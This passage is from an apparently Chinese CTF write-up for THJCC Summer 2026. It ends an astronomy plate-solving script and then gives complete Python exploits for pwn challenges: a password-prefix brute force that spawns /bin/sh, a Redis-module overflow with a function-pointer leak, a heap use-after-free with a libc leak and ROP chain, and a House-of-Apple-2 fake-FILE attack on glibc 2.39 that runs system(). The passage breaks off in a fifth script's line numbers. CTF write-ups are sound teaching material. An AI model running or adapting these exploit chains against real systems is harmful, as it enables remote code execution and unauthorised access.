# 2. 盲解（尺度提示来自腰带几何: 0.032-0.047 deg/px = 115-170 arcsec/pix）
echo "[*] solve-field 盲解..."
OUT=$(solve-field --no-plots --overwrite \
 --scale-units arcsecperpix --scale-low 115 --scale-high 170 \
 --index-dir "${IDXDIR}" "${IMG}" 2>&1 || true)
echo "${OUT}" | grep -E "solved with|Field center|Field size" || true

# 3. 从解算输出提取场中心（= 裁切中心）并给出结论
CENTER=$(echo "${OUT}" | grep -oE "\([0-9]{2}:[0-9]{2}:[0-9]{2}\.[0-9]+, [+-][0-9]{2}:[0-9]{2}:[0-9]{2}\.[0-9]+\)" | head -1)
echo "[*] 裁切中心 (RA H:M:S, Dec D:M:S) = ${CENTER} (约 5h36m, +1.2°)"
echo "[*] 核心星座: Orion (ori) —— 裁切中心位于猎户座 IAU 边界内 (RA 4h43m-6h26m, Dec -11°..+22.9°)"
echo "[*] 官方中心(维基百科信息框 ra/dec): RA 5h, Dec +5°"
echo "flag: THJCC{ori=RA5h,Dec+5°}"

Pwn（6/6）

Very Security Shell（逻辑漏洞） Flag：THJCC{strnc0mp_1s_n0t_s3cur3}

口令校验是 strncmp(input, enc, strlen(input)) 前缀比较且长度由输入控制； encode 每连接只跑一次、猜错不重编码 → 单字符输入只比 enc[0]，95 个可打印字符内爆破首字符即 system("/bin/sh")。

📜 Very Security Shell solve.py（100 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100


#!/usr/bin/env python3
"""THJCC Summer 2026 - Very Security Shell (pwn, 500pts)

Vulnerability (logic flaw):
 * encode() reads 16 random bytes from /dev/urandom and builds a 16-char
 "password" from a custom 94-char alphabet (out[i] = table[v % 94]).
 * It is called exactly ONCE per connection, before the prompt loop.
 * The check is: strncmp(input, enc, strlen(input)) -- a PREFIX comparison
 whose length is the attacker-controlled strlen(input).
 * So submitting a single character only compares enc[0]. Wrong guesses
 loop back to the prompt WITHOUT re-encoding, so the password is fixed
 per connection -> brute-force the first character over all printable
 ASCII (<= 95 tries) and system("/bin/sh") is spawned.

Usage: python3 solve.py [--host HOST] [--port PORT]
 (defaults: chal.thjcc.org 11039)
"""
import argparse
import socket
import sys
import time

HOST_DEFAULT = "chal.thjcc.org"
PORT_DEFAULT = 11039

# all printable ASCII 0x21..0x7e; the real alphabet (94 chars) is a subset
CHARS = [chr(c) for c in range(0x21, 0x7F)]


def recv_until(sock: socket.socket, marker: bytes, timeout: float = 5.0) -> bytes:
 sock.settimeout(timeout)
 data = b""
 try:
 while marker not in data:
 chunk = sock.recv(4096)
 if not chunk:
 break
 data += chunk
 except socket.timeout:
 pass
 return data


def main() -> int:
 ap = argparse.ArgumentParser(description="Very Security Shell exploit")
 ap.add_argument("--host", default=HOST_DEFAULT)
 ap.add_argument("--port", type=int, default=PORT_DEFAULT)
 args = ap.parse_args()

 print(f"[*] connecting to {args.host}:{args.port}")
 s = socket.create_connection((args.host, args.port), timeout=10)
 banner = recv_until(s, b"password:")
 print("[*] banner:", banner.decode(errors="replace").strip().splitlines()[-1])

 # --- brute force the FIRST character of the fixed random password ---
 hit = None
 for c in CHARS:
 s.sendall(c.encode() + b"\n")
 data = recv_until(s, b"password:", timeout=4)
 if b"welcome!" in data: # "You input the right password, welcome!"
 hit = c
 print(f"[+] prefix match on first char {c!r} -> shell!")
 break
 if hit is None:
 print("[-] no match found; last server output:", data[:300])
 s.close()
 return 1

 # --- we now have system("/bin/sh") on the socket ---
 s.sendall(b"id; cat flag.txt\n")
 time.sleep(0.6)
 out = recv_until(s, b"}", timeout=4) # grab flag line
 sys.stdout.buffer.write(out)
 sys.stdout.buffer.flush()

 # interactive pass-through
 try:
 while True:
 line = sys.stdin.buffer.readline()
 if not line:
 break
 s.sendall(line)
 time.sleep(0.2)
 try:
 while True:
 chunk = s.recv(4096)
 if not chunk:
 return 0
 sys.stdout.buffer.write(chunk)
 sys.stdout.buffer.flush()
 except socket.timeout:
 pass
 except (KeyboardInterrupt, EOFError):
 pass
 s.close()
 return 0


if __name__ == "__main__":
 sys.exit(main())

Chronicle（Redis 模块白盒） Flag：THJCC{D0_y0u_KN0W_7h15_15_@_PWN_ch@ll3nge_WH17CH_m4d3_BY_@1???}

(uint8_t)body_length 截断检查（336→80==80 通过）→ 336B 拷入 note[80] 覆盖 task->completion（note@72, completion@152）；ticket = completion ^ rotl64(id·0x9E3779B97F4A7C15, 17) 免费泄基址 → 换成唯一能碰 flag 缓冲的函数。

📜 Chronicle solve.py（203 行，核心 leak_module_base@3037 / build_archive@3068）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203


#!/usr/bin/env python3
"""Chronicle (THJCC CTF Summer 2026) — full exploit chain.

Root cause (src/chronicle.c, command_import):
 if ((uint8_t)body_length > NOTE_CAPACITY) ... // truncation check
 memcpy(task->note, cursor, (size_t)body_length); // body_length up to 336
 body_length=336 -> (uint8_t)336 == 80 <= 80 passes -> 336-byte copy into
 note[80] overwrites task->completion (note offset 80 within the struct:
 note@72, completion@152).

Chain:
 1. chronicle.new + chronicle.show -> ticket leaks completion fn pointer:
 ticket = &commit_annotation ^ rotl64(id * 0x9e3779b97f4a7c15, 17)
 => module base (page-aligned check picks correct arch offsets).
 2. Forge archive with body_length=336; body[80:88] = &materialize_anchor
 (the only code that copies recovery_value [flag] into task->result).
 3. chronicle.import -> corrupted task; timer fires -> result = flag.
 4. chronicle.show -> flag.

Usage: solve.py [host] [port] (default 127.0.0.1 6390)
"""
import socket
import struct
import sys
import time

MASK64 = (1 << 64) - 1
K = 0x9E3779B97F4A7C15

# offsets from identical builds (redis:7.2.15-bookworm, gcc -O2 -fPIC):
ARCHES = {
 "aarch64": {"commit_annotation": 0x840, "materialize_anchor": 0x8A4},
 "x86_64": {"commit_annotation": 0x11B0, "materialize_anchor": 0x1280},
}

NOTE_CAPACITY = 80 # sizeof task->note
OVERFLOW_LEN = 336 # (uint8_t)336 == 80 -> passes <=80 check


def rotl64(value, amount):
 return ((value << amount) | (value >> (64 - amount))) & MASK64


def fnv1a32(data):
 value = 2166136261
 for byte in data:
 value = ((value ^ byte) * 16777619) & 0xFFFFFFFF
 return value


def uvarint(value):
 out = bytearray()
 while True:
 byte = value & 0x7F
 value >>= 7
 if value:
 byte |= 0x80
 out.append(byte)
 if not value:
 return bytes(out)


class RedisResp:
 def __init__(self, host, port, timeout=15):
 self.sock = socket.create_connection((host, port), timeout=timeout)
 self.sock.settimeout(timeout)
 self.fp = self.sock.makefile("rb")

 def close(self):
 try:
 self.sock.close()
 except OSError:
 pass

 def read_reply(self):
 line = self.fp.readline()
 if not line:
 raise ConnectionError("connection closed")
 line = line.rstrip(b"\r\n")
 tag, body = line[:1], line[1:]
 if tag == b"+":
 return body.decode(errors="replace")
 if tag == b"-":
 return Exception(body.decode(errors="replace"))
 if tag == b":":
 return int(body)
 if tag == b"$":
 n = int(body)
 if n == -1:
 return None
 data = self.fp.read(n)
 self.fp.read(2)
 return data
 if tag == b"*":
 n = int(body)
 if n == -1:
 return None
 return [self.read_reply() for _ in range(n)]
 if tag in (b"%", b">", b"~"):
 n = int(body)
 step = 2 if tag == b"%" else 1
 return [self.read_reply() for _ in range(n * step)]
 raise ValueError(f"unexpected reply line: {line!r}")

 def cmd(self, *args):
 out = bytearray(f"*{len(args)}\r\n".encode())
 for arg in args:
 if isinstance(arg, str):
 arg = arg.encode()
 elif isinstance(arg, int):
 arg = str(arg).encode()
 out += f"${len(arg)}\r\n".encode() + arg + b"\r\n"
 self.sock.sendall(bytes(out))
 return self.read_reply()


def leak_module_base(r):
 """Create two legit tasks; use ticket = completion ^ rotl(id*K,17)."""
 infos = []
 for _ in range(2):
 task_id = r.cmd("chronicle.new", 60000, "leak", "x")
 if isinstance(task_id, Exception) or not isinstance(task_id, int):
 raise RuntimeError(f"chronicle.new failed: {task_id!r}")
 info = r.cmd("chronicle.show", task_id)
 if isinstance(info, Exception) or not isinstance(info, list):
 raise RuntimeError(f"chronicle.show failed: {info!r}")
 infos.append((info[0], info[3] & MASK64))

 bases = {}
 for arch, offs in ARCHES.items():
 candidates = set()
 for task_id, ticket in infos:
 salt = rotl64((task_id * K) & MASK64, 17)
 commit = (ticket ^ salt) & MASK64
 candidates.add(commit - offs["commit_annotation"])
 if len(candidates) == 1:
 base = candidates.pop()
 if base & 0xFFF == 0:
 bases[arch] = base
 if not bases:
 raise RuntimeError("no page-aligned module base: arch offsets mismatch")
 if len(bases) > 1:
 raise RuntimeError(f"ambiguous arch match: {bases}")
 arch, base = next(iter(bases.items()))
 return arch, base


def build_archive(delay_ms, anchor_addr):
 body = (
 b"A" * NOTE_CAPACITY # note[0:80]
 + struct.pack("<Q", anchor_addr) # overwrite completion ptr
 + b"B" * (OVERFLOW_LEN - NOTE_CAPACITY - 8)
 )
 assert len(body) == OVERFLOW_LEN
 archive = (
 b"CHRN"
 + bytes([1, 1, 0, 0]) # version, kind=NOTE, reserved
 + struct.pack("<I", delay_ms)
 + bytes([0]) # label_length
 + uvarint(OVERFLOW_LEN) # 0xD0 0x02
 + body
 )
 archive += struct.pack("<I", fnv1a32(archive))
 return archive


def main():
 host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
 port = int(sys.argv[2]) if len(sys.argv) > 2 else 6390
 r = RedisResp(host, port)
 try:
 pong = r.cmd("PING")
 print(f"[*] PING -> {pong}")

 arch, base = leak_module_base(r)
 offs = ARCHES[arch]
 anchor = base + offs["materialize_anchor"]
 print(f"[+] arch={arch} module_base=0x{base:x}")
 print(f"[+] materialize_anchor=0x{anchor:x} "
 f"(commit_annotation=0x{base + offs['commit_annotation']:x})")

 archive = build_archive(300, anchor)
 task_id = r.cmd("chronicle.import", archive)
 if isinstance(task_id, Exception) or not isinstance(task_id, int):
 raise RuntimeError(f"chronicle.import failed: {task_id!r}")
 print(f"[+] imported corrupted task id={task_id}, waiting for timer...")

 flag = None
 for _ in range(60):
 time.sleep(0.1)
 info = r.cmd("chronicle.show", task_id)
 if isinstance(info, list) and info[1] == "complete":
 flag = info[5]
 break
 if flag is None:
 raise RuntimeError(f"task never completed; last show: {info!r}")
 print(f"[+] FLAG: {flag.decode(errors='replace')}")
 finally:
 r.close()


if __name__ == "__main__":
 main()

déjà vu Flag：THJCC{s0_wh1ch_AI_d1d_y0u_us3_t0_s0lv3_th1s???}

subscribe 引用计数单字节 +256 回绕到 1 → 256 频道仍持指针时 free = mass UAF； tcache 抽干、悬挂 replay 泄 libc、environ 定位栈写 ORW ROP。

发现过程：反汇编定位引用计数是单字节 addb $1, 0x30(%rdx)——256 次 subscribe 后 1+256 ≡ 1 (mod 256) 回绕；discard 只清计数不清 channels[] 指针 → 256 个悬挂指针的 mass UAF。远程与本地关键差异：libseccomp 初始化在堆上留 0x40 回收块、破坏 msg/body 相邻性——用 4 次 warmup compose 抽干 tcache[0x40] + 0x800 guard 防 top 合并修复。

📜 déjà vu solve.py（216 行，核心 set_fake@3233 / warmup@3255）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216


#!/usr/bin/env python3
"""deja vu - full solve driver (pure stdlib).

Usage: solve.py HOST PORT [--scan] [--ret-off N]
Local: python3 solve.py 127.0.0.1 9004
Remote: python3 solve.py chal.thjcc.org 9004
"""
import socket, struct, sys, time

p64 = lambda x: struct.pack('<Q', x)
u64 = lambda b: struct.unpack('<Q', b)[0]

# ---- libc offsets (Ubuntu glibc 2.35-0ubuntu3.14 from handout) ----
OFF_ARENA96 = 0x21ace0 # unsorted-bin fd == main_arena+96
OFF_ENVIRON = 0x222200
OFF_RET = 0x29d90 # main()'s return-address site offset (calibrated below)
G_RDI = 0x2a3e5 # pop rdi ; ret
G_RSI = 0x2be51 # pop rsi ; ret
G_RDX = 0x90469 # pop rdx ; pop rbx ; ret
F_OPEN = 0x114520
F_READ = 0x114810
F_WRITE= 0x1148b0
F_CLOSE = 0x114f90
F_EXIT = 0x455f0

class Tube:
 def __init__(self, host, port):
 self.s = socket.create_connection((host, int(port)), 10)
 self.buf = b''
 def until(self, mark, timeout=20):
 self.s.settimeout(timeout)
 end = time.time() + timeout
 while mark not in self.buf:
 if time.time() > end:
 raise TimeoutError('waiting %r, tail %r' % (mark, self.buf[-80:]))
 d = self.s.recv(65536)
 if not d:
 raise EOFError('eof, tail %r' % self.buf[-80:])
 self.buf += d
 i = self.buf.index(mark) + len(mark)
 out, self.buf = self.buf[:i], self.buf[i:]
 return out
 def exact(self, n, timeout=20):
 self.s.settimeout(timeout)
 end = time.time() + timeout
 while len(self.buf) < n:
 if time.time() > end:
 raise TimeoutError('want %d, have %d' % (n, len(self.buf)))
 d = self.s.recv(65536)
 if not d:
 raise EOFError('eof')
 self.buf += d
 out, self.buf = self.buf[:n], self.buf[n:]
 return out
 def send(self, d):
 self.s.sendall(d)

io = None

def menu(choice):
 io.until(b'> ')
 io.send(b'%d\n' % choice)

def compose(slot, length, body):
 assert len(body) == length
 menu(1)
 io.until(b'slot> '); io.send(b'%d\n' % slot)
 io.until(b'length> '); io.send(b'%d\n' % length)
 io.until(b'subject> '); io.send(b's\n')
 io.until(b'body> '); io.send(body)
 io.until(b'composed.')

def discard(slot):
 menu(2)
 io.until(b'slot> '); io.send(b'%d\n' % slot)
 io.until(b'discarded.')

def replay_dump(ch, length):
 menu(5)
 io.until(b'channel> '); io.send(b'%d\n' % ch)
 data = io.exact(length) # write(1, fake->body, fake->len)
 io.exact(1) # puts("") newline
 return data

def amend(ch, body):
 menu(6)
 io.until(b'channel> '); io.send(b'%d\n' % ch)
 io.until(b'body> ')
 io.send(body)
 io.until(b'amended.')

def fake(body_ptr, length, refcnt=0x7f):
 f = b'F' * 0x20 + p64(body_ptr) + p64(length) + bytes([refcnt]) + b'\x00' * 7
 assert len(f) == 0x38
 return f

def set_fake(body_ptr, length):
 """rewrite the fake struct that all 256 dangling channels alias.

 tcache(0x40) rotation: discard(1) -> [msg1,F]; compose(2): body=msg1, msg=F;
 discard(2) -> [F,msg1c]; compose(1): body=F (controlled again).
 invariant at rest: F is the body of slot 1.
 """
 discard(2)
 compose(3, 0x38, fake(0, 8)) # placeholder (F becomes msg struct here)
 discard(3)
 compose(2, 0x38, fake(body_ptr, length))

def main():
 global io, OFF_RET
 host, port = sys.argv[1], sys.argv[2]
 args = sys.argv[3:]
 scan = '--scan' in args
 for a in args:
 if a.startswith('--ret-off='):
 OFF_RET = int(a.split('=')[1], 0)
 io = Tube(host, port)

 # 0) warmup: drain pre-existing tcache[0x40] entries (seccomp_init churn)
 # so body0 (0x810) and msg0 (0x40) allocate adjacently from top ->
 # free(body0) lands in unsorted bin with fd/bk = main_arena+96.
 # each compose(len=0x38) consumes two 0x40 chunks (body + msg); keep them.
 for warm in (4, 5, 6, 7):
 compose(warm, 0x38, b'W' * 0x38)

 # 1) big body -> unsorted bin on free; 2) refcount wrap; 3) mass-UAF free
 compose(0, 0x800, b'A' * 0x800)
 # guard chunk right after body0 (also a top allocation) so that
 # free(body0) cannot merge forward into top -> unsorted metadata gets written
 compose(1, 0x800, b'G' * 0x800)
 io.send(b''.join(b'3\n0\n%d\n' % ch for ch in range(256)))
 for _ in range(256):
 io.until(b'subscribed.')
 discard(0)

 # 4) dangling channel replay -> unsorted-bin libc leak
 dump = replay_dump(0, 0x800)
 libc = u64(dump[:8]) - OFF_ARENA96
 print('[+] libc base = %#x' % libc)
 assert libc & 0xfff == 0, 'bad libc base'

 # 5) reclaim freed msg chunk as controlled body -> fake message struct
 compose(2, 0x38, fake(libc + OFF_ENVIRON, 0x10))
 envptr = u64(replay_dump(2, 0x10)[:8])
 print('[+] envp array @ %#x' % envptr)

 if scan:
 set_fake(envptr - 0x4000, 0x4000)
 stack = replay_dump(2, 0x4000)
 open('/tmp/stackdump.bin', 'wb').write(stack)
 print('[+] stack %#x..%#x -> /tmp/stackdump.bin' % (envptr - 0x4000, envptr))
 seen = {}
 for off in range(0, len(stack) - 7, 8):
 v = u64(stack[off:off + 8])
 if libc < v < libc + 0x230000:
 seen.setdefault(v - libc, []).append(envptr - 0x4000 + off)
 for k in sorted(seen):
 print(' libc+%#x at %s' % (k, [hex(x) for x in seen[k]]))
 return

 assert OFF_RET, 'calibrate OFF_RET first via --scan'
 # 6) locate main's return-address slot by value
 SCAN = 0x2000
 set_fake(envptr - SCAN, SCAN)
 stack = replay_dump(2, SCAN)
 want = libc + OFF_RET
 hits = [envptr - SCAN + o for o in range(0, len(stack) - 7, 8)
 if u64(stack[o:o + 8]) == want]
 assert len(hits) == 1, 'retaddr hits: %r' % [hex(h) for h in hits]
 ret_slot = hits[0]
 print('[+] main retaddr slot = %#x' % ret_slot)

 # 7) arbitrary write: ROP chain (open/read/write flag) over the return slot
 # - close(3) first so open() deterministically returns fd 3
 # - try several candidate flag paths; echo each path before dumping
 str_base = ret_slot + 0x800
 buf_addr = ret_slot + 0x900
 paths = [b'flag.txt\x00', b'/flag.txt\x00', b'/flag\x00', b'./flag.txt\x00',
 b'/app/flag.txt\x00', b'/home/ctf/flag.txt\x00']
 def pops_rdi(v): return p64(libc + G_RDI) + p64(v)
 def pops_rsi(v): return p64(libc + G_RSI) + p64(v)
 def pops_rdx(v): return p64(libc + G_RDX) + p64(v) + p64(0)
 rop = b''
 for i, path in enumerate(paths):
 pa = str_base + 0x10 * i
 rop += pops_rdi(1) + pops_rsi(pa) + pops_rdx(0x10) + p64(libc + F_WRITE)
 rop += pops_rdi(3) + p64(libc + F_CLOSE)
 rop += pops_rdi(pa) + pops_rsi(0) + pops_rdx(0) + p64(libc + F_OPEN)
 rop += pops_rdi(3) + pops_rsi(buf_addr) + pops_rdx(0x80) + p64(libc + F_READ)
 rop += pops_rdi(1) + pops_rsi(buf_addr) + pops_rdx(0x80) + p64(libc + F_WRITE)
 rop += p64(libc + F_EXIT)
 assert len(rop) < 0x800
 payload = rop + b'\x00' * (0x800 - len(rop))
 for i, path in enumerate(paths):
 chunk = path.ljust(0x10, b' ')
 payload += chunk
 payload += b'\x00' * (0x900 - len(payload))
 set_fake(ret_slot, len(payload))
 amend(2, payload)
 print('[+] ROP chain written; triggering main return')

 menu(0)
 io.s.settimeout(8)
 out = b''
 try:
 while True:
 d = io.s.recv(65536)
 if not d:
 break
 out += d
 except Exception:
 pass
 print('[+] final output: %r' % out)

if __name__ == '__main__':
 main()

necropet Flag：THJCC{Tell_me,_Linguini,_about_your_interests...D0_u_1ik3_anima1s?The_u5ua1,_d0gs,_cats,_h0r535,_guinea_pigs...RATS~~}

glibc 2.39 UAF（h_release 清 ptr/size 不清 case_id/desk）+ House-of-Apple-2 fake FILE + tcache poisoning 写 _IO_list_all，cook(exit) 触发 RCE。

发现过程：h_release 只清 kennels[slot].ptr/size，不清 case_id 也不清全局 desk，而 show/revise/visit 只校验 case_id 相等 → 悬垂 desk 对已释放 chunk 的完整 UAF 读写；glibc 2.39 无 free_hook → 选 House-of-Apple-2（_IO_flush_all_lockp → _IO_wfile_overflow → _wide_vtable->__doallocate）。两个实测坑：fake FILE 的 _lock(+0x88) 必须指向全零内存，否则 NULL 解引用静默崩；note 首版写 8 字节落偏 8 字节，_IO_list_all 没被盖上、flush 静默走真链。

📜 necropet solve.py（176 行，关键阶段：fake FILE 直写@3478、tcache poison→_IO_list_all@3505）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176


#!/usr/bin/env python3
# THJCC Summer 2026 - necropet (Pwn)
# Vuln: h_release clears kennels[slot].ptr/size but NOT kennels[slot].case_id nor
# the global `desk` (selected record). show/revise/visit re-validate only
# kennels[desk.slot].case_id == desk.case_id -> full UAF read+write on the
# freed chunk while it sits in tcache/unsorted.
# Chain: unsorted leak (libc) -> UAF tcache poisoning -> write _IO_list_all ->
# House-of-Apple-2 fake FILE on heap -> cook (exit) -> _IO_cleanup flush
# -> system(" sh") -> cat flag.
import socket, struct, sys, time

HOST = sys.argv[1] if len(sys.argv) > 1 else "chal.thjcc.org"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 1024

p64 = lambda x: struct.pack("<Q", x)
u64 = lambda b: struct.unpack("<Q", b)[0]

# --- libc 2.39-0ubuntu8.8 offsets (from provided libc.so.6) ---
OFF_SYSTEM = 0x58750
OFF_IO_WFILE = 0x202228 # _IO_wfile_jumps
OFF_IO_LIST_ALL = 0x2044c0 # _IO_list_all
OFF_UNSORTED = 0x203b20 # main_arena(0x203ac0) + 0x60

# poison target: must be 16-aligned, note lands on &_IO_list_all
# T + 0x28 == &_IO_list_all -> T = 0x2044c0 - 0x28 - 8 = 0x204490 (aligned)
OFF_TARGET = 0x204490

class Tube:
 def __init__(self, host, port):
 self.s = socket.create_connection((host, port), timeout=10)
 self.buf = b""
 def recv_until(self, tok, timeout=10):
 self.s.settimeout(timeout)
 end = time.time() + timeout
 while tok not in self.buf:
 if time.time() > end:
 raise TimeoutError(f"waiting {tok!r}, buf={self.buf[-200:]!r}")
 d = self.s.recv(65536)
 if not d:
 raise EOFError(f"eof waiting {tok!r}, buf={self.buf!r}")
 self.buf += d
 i = self.buf.index(tok) + len(tok)
 out, self.buf = self.buf[:i], self.buf[i:]
 return out
 def send(self, d):
 self.s.sendall(d)
 def sendline(self, line):
 self.send(line + b"\n")

t = Tube(HOST, PORT)
print(t.recv_until(b"type help for commands").decode(errors="replace"))

def admit(slot, kind, cap, ln, note=b""):
 t.sendline(f"admit {slot} {kind} {cap} {ln}".encode())
 if ln:
 t.send(note)
 t.recv_until(b"admitted")

def select(slot):
 t.sendline(f"select {slot}".encode())
 t.recv_until(b"selected")

def release(slot):
 t.sendline(f"release {slot}".encode())
 t.recv_until(b"released")

def show():
 t.sendline(b"show")
 t.recv_until(b"record: ")
 hx = t.recv_until(b"\n").strip()
 return bytes.fromhex(hx.decode())

def revise(ln, data):
 t.sendline(f"revise {ln}".encode())
 t.send(data)
 t.recv_until(b"revised")

# ---- stage 0: heap grooming --------------------------------------------
# chunks: tcache(0x290)@H, A(0x50)@H+0x290, B(0x520)@H+0x2e0,
# C(0x50 guard)@H+0x800, A2(0x50)@H+0x850
# user addrs: A=H+0x2a0, B=H+0x2f0, C=H+0x810, A2=H+0x860
admit(0, 0, 0x20, 0) # A tcache-poison base #1
admit(1, 0, 0x4f0, 0) # B unsorted leaker (0x520 > tcache max)
admit(2, 0, 0x20, 0) # C guard so B does not merge into top
admit(3, 0, 0x20, 0) # A2 tcache-poison head

# ---- stage 1: heap leak via first-freed tcache next (= ptr>>12) --------
select(0)
release(0)
dump = show()
hint = u64(dump[0:8])
key = u64(dump[8:16])
assert hint > 0x10000 and key != 0, f"bad tcache dump {dump[:0x20].hex()}"
heap = hint << 12 # first-freed tcache next = (A>>12) ^ NULL; A sits in first page
print(f"[+] heap = {heap:#x}")
A = heap + 0x2a0
A2 = heap + 0x860
D = heap + 0x2f0 # B's user addr; stays freed in unsorted

# ---- stage 2: libc leak via unsorted bin fd ----------------------------
select(1)
release(1) # desk dangles at B (kennels[1].case_id kept)
dump = show()
fd, bk = u64(dump[0:8]), u64(dump[8:16])
assert fd == bk and fd & 0xfff == 0xb20, f"bad unsorted dump {dump[:0x20].hex()}"
libc = fd - OFF_UNSORTED
assert libc & 0xfff == 0, hex(libc)
print(f"[+] libc = {libc:#x}")

# ---- stage 3: fake FILE written straight into freed B via UAF (desk=B) --
# desk still dangles at B; the fake clobbers its fd/bk, which is fine:
# every later malloc is a tcache hit and never inspects the unsorted bin.
W = D + 0x100 # _IO_wide_data
V = D + 0x200 # fake wide vtable
fake = bytearray(0x4f0)
# command string doubles as _flags; two leading spaces keep bits 0x2/0x8/0x800
# clear so wfile_overflow -> wdoallocbuf -> __doallocate(system) path is taken
fake[0x00:0x0f] = b" cat this*;sh\x00"
fake[0x20:0x28] = p64(0) # _IO_write_base
fake[0x28:0x30] = p64(1) # _IO_write_ptr > base -> overflow
fake[0x68:0x70] = p64(0) # _chain = NULL
fake[0xa0:0xa8] = p64(W) # _wide_data
fake[0x88:0x90] = p64(D + 0x300) # _lock -> zeroed area inside fake
 # (flush_all locks fp before overflow)
fake[0xc0:0xc4] = struct.pack("<i", 0) # _mode <= 0
fake[0xd8:0xe0] = p64(libc + OFF_IO_WFILE) # vtable = _IO_wfile_jumps
# _IO_wide_data offsets verified in this exact libc's disassembly:
# _IO_buf_base +0x30, _wide_vtable +0xe0; doallocate slot +0x68
fake[0x100+0x18:0x100+0x20] = p64(0) # wide->_IO_write_base = 0
fake[0x100+0x30:0x100+0x38] = p64(0) # wide->_IO_buf_base = 0
fake[0x100+0xe0:0x100+0xe8] = p64(V) # wide->_wide_vtable
fake[0x200+0x68:0x200+0x70] = p64(libc + OFF_SYSTEM)
if "--probe2" in sys.argv: # path probe: puts(fp) prints flags instead of shell
 fake[0x200+0x68:0x200+0x70] = p64(libc + 0x87cc0)
revise(0x4f0, bytes(fake))

# ---- stage 5: tcache poison A2.next -> &_IO_list_all region -----------
select(3)
release(3) # tcache[0x50]: A2 -> A ; desk dangles at A2
T = libc + OFF_TARGET
revise(8, p64(T ^ (A2 >> 12))) # safe-linking: next = T ^ (A2>>12)

# ---- stage 6: consume A2 then land malloc on _IO_list_all -------------
admit(6, 0, 0x20, 0) # takes A2
# T = libc+0x204490 (16-aligned); note starts at T+0x28 = &_IO_list_all-8,
# so note[8:16] lands exactly on _IO_list_all
admit(7, 0, 0x20, 16, p64(0xdeadbeef) + p64(D))

if "--probe" in sys.argv:
 t.sendline(b"select 7")
 t.recv_until(b"selected")
 d = show()
 print("[probe] slot7 chunk:", d[:0x48].hex())
 t.sendline(b"select 6")
 t.recv_until(b"selected")
 d = show()
 print("[probe] slot6 chunk:", d[:0x48].hex())
 sys.exit(0)

# ---- stage 7: trigger exit -> _IO_cleanup -> system(" cat this*;sh") ---
t.sendline(b"cook")
time.sleep(1.5)
t.sendline(b"cat thisisratratratrat_puipui.txt; cat $NECROPET_FLAG_PATH; id; ls")
time.sleep(2.0)
out = b""
try:
 t.s.settimeout(3)
 while True:
 d = t.s.recv(65536)
 if not d:
 break
 out += d
except Exception:
 pass
out += t.buf
print("RAW:", repr(out))

Canary Notes Flag：THJCC{y0u_k1ll3d_c4n4ry_y0u_b4d_b4d}

伪金丝雀随机 token 经 receipt 泄漏（发 7 字节留言拿完整 token 避开 NUL 低字节）， ret2win 需 ret gadget 对齐远程栈。

📜 Canary Notes solve.py（69 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
